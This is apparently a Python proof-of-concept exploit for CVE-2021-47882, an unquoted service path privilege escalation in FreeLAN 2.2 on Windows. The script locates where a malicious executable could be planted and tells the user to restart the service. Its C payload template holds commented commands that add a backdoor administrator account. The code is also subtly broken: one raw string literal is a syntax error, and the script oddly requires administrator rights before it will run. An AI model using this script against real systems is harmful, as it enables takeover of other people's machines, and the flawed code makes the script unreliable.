CVE-2021-47882 FreeLAN 2.2 未引号服务路径权限提升漏洞

#!/usr/bin/env python3 """ CVE-2021-47882 PoC - FreeLAN 2.2 Unquoted Service Path Exploitation This script demonstrates the unquoted service path vulnerability in FreeLAN 2.2 Author: Security Researcher Date: 2024 """ import os import sys import ctypes import subprocess import platform def check_privileges(): """Check if running with administrator privileges""" try: is_admin = ctypes.windll.shell32.IsUserAnAdmin() return is_admin != 0 except: return False def find_unquoted_path(service_name): """ Query Windows registry to find unquoted service paths """ try: import winreg key_path = r"SYSTEM\CurrentControlSet\Services\" + service_name key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key_path) image_path, _ = winreg.QueryValueEx(key, "ImagePath") winreg.CloseKey(key) # Check if path contains spaces and is not quoted if ' ' in image_path and not image_path.startswith('"'): return image_path return None except: return None def generate_payload(): """ Generate reverse shell payload (placeholder - replace with actual payload) """ # This is a placeholder - in real exploitation, this would be a meterpreter # or other reverse shell executable named after the unquoted path segment payload_template = ''' #include <windows.h> #include <stdio.h> int main() {{ // Placeholder for malicious code // In real attack, this would execute privileged operations MessageBox(NULL, "FreeLAN Service Compromised", "CVE-2021-47882", MB_OK); // Example: Create admin user // system("net user attacker P@ssw0rd123 /add"); // system("net localgroup Administrators attacker /add"); return 0; }} ''' return payload_template def exploit(service_name, unquoted_path): """ Exploit unquoted service path vulnerability """ print(f"[*] Target Service: {service_name}") print(f"[*] Unquoted Path: {unquoted_path}") # Parse path segments path_parts = unquoted_path.strip('"').split('\\') print("[*] Analyzing path segments for exploitation...") for i, part in enumerate(path_parts): if ' ' in part and not part.endswith('.exe'): malicious_path = '\\'.join(path_parts[:i+1]) + '.exe' print(f"[!] Potential injection point: {malicious_path}") print(f"[*] To exploit: Place malicious executable at: {malicious_path}") print(f"[*] Then restart the service: sc stop {service_name} && sc start {service_name}") break def main(): print("=" * 60) print("CVE-2021-47882 - FreeLAN Unquoted Service Path Exploit") print("=" * 60) if platform.system() != 'Windows': print("[-] This exploit only works on Windows systems") sys.exit(1) if not check_privileges(): print("[-] This script requires administrator privileges") print("[-] Run as Administrator and try again") sys.exit(1) # Target service name service_name = "freelan" # Find unquoted path unquoted_path = find_unquoted_path(service_name) if unquoted_path: print(f"[+] Found unquoted service path: {unquoted_path}") exploit(service_name, unquoted_path) else: print("[-] Service not found or path is properly quoted") print("[*] Manual verification: sc qc freelan") if __name__ == "__main__": main()